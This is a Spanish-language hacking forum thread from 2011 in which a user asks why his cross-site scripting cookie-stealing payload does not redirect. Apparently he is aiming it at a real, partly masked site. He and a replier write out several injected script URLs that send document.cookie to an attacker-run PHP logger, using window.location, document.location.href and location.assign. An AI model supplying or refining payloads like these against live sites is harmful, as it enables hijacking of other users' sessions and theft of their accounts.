Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: pelonms7 en 11 Febrero 2011, 03:29 am



Título: Cross Site Scripting
Publicado por: pelonms7 en 11 Febrero 2011, 03:29 am
Saludos,

Estuve intentando el tutorial (http://foro.elhacker.net/tutoriales_documentacion/tutorial_ataques_xss-t32042.45.html)  y me parece genial, lo malo es que no se estan guardando las cookies en el archivo txt, revisando una y otra ves el tutorial vi que en la ultima parte tiene el boton buscar (&buscar) para que se pueda ejecutar, yo NO lo estoy haciendo en el campo de busqueda lo estoy haciendo directamente en el URL, y vi que decia que necesita del boton buscar para que se pueda ejecutar, en este caso que no hay boton buscar como se hace para ejecutarlo

asi deberia quedar
http://www.vulnerable.com/buscador.php?palabra=<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>&buscar=;

asi se ve el mio
http://www.vulnerable.com/buscador.php?palabra=<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>

como puedo hacer para que se ejecute? Saludos


Título: Re: Cross Site Scripting
Publicado por: Shell Root en 11 Febrero 2011, 04:09 am
Pero no entiendo, se produce o no el XSS?


Título: Re: Cross Site Scripting
Publicado por: pelonms7 en 11 Febrero 2011, 04:21 am
Si claro la pagina es vulnerable pero parece que falta la parte de &buscar=; para que se ejecute el grabar las cookies de los usuarios, por eso preguntaba que si se puede poner algo en ves de ese &buscar=;

o como podria estar mejor hecho el script


Título: Re: Cross Site Scripting
Publicado por: Shell Root en 11 Febrero 2011, 04:52 am
Pero eso es lo que no entiendo, todas las paginas no son iguales. Y si se ejecuta el XSS cual es el problema?


Título: Re: Cross Site Scripting
Publicado por: pelonms7 en 11 Febrero 2011, 05:10 am
Por ejemplo asi es como se ve el URL de la pagina

http://xxxxx.xxxxx.xx.cr/DesktopDefault.aspx?mensaje=0

yo quito el "0" y pongo <script>alert(document.cookie)</script> y me muestra la cookie de session que estoy utilizando

intente este script para que me lleve al dominio donde tengo el archivo php que guarda las cookies, pero no me esta llevando a mi sitio, este es el script

<script>location='http://www.xxx.xxxx.net/archivo.php?cookie='+document.cookie;</script>

asi es como se ve el URL con el script

http://xxxxx.xxxxx.xx.cr/DesktopDefault.aspx?mensaje=<script>location='http://www.xxx.xxxx.net/archivo.php?cookie='+document.cookie;</script>


pero no me lleva a mi sitio, hay algun error en el script?

saludos


Título: Re: Cross Site Scripting
Publicado por: 4rkn63l en 5 Marzo 2011, 22:12 pm
Hay otras formas de redireccionar como estas:

http://xxxxx.xxxxx.xx.cr/DesktopDefault.aspx?mensaje=<script>window.location='http://www.xxx.xxxx.net/archivo.php?cookie='+document.cookie;</script>

http://xxxxx.xxxxx.xx.cr/DesktopDefault.aspx?mensaje=<script>document.location.href='http://www.xxx.xxxx.net/archivo.php?cookie='+document.cookie;</script>

http://xxxxx.xxxxx.xx.cr/DesktopDefault.aspx?mensaje=<script>location.assign('http://www.xxx.xxxx.net/archivo.php?cookie='+document.cookie);</script>

Aca te dejo un tuto bastante bueno y claro por si te interesa: http://4party.cuatrovientos.org/files/xssjavascript.pdf




Título: Re: Cross Site Scripting
Publicado por: pelonms7 en 7 Marzo 2011, 03:20 am
Excelente voy a intentar esto muchas gracias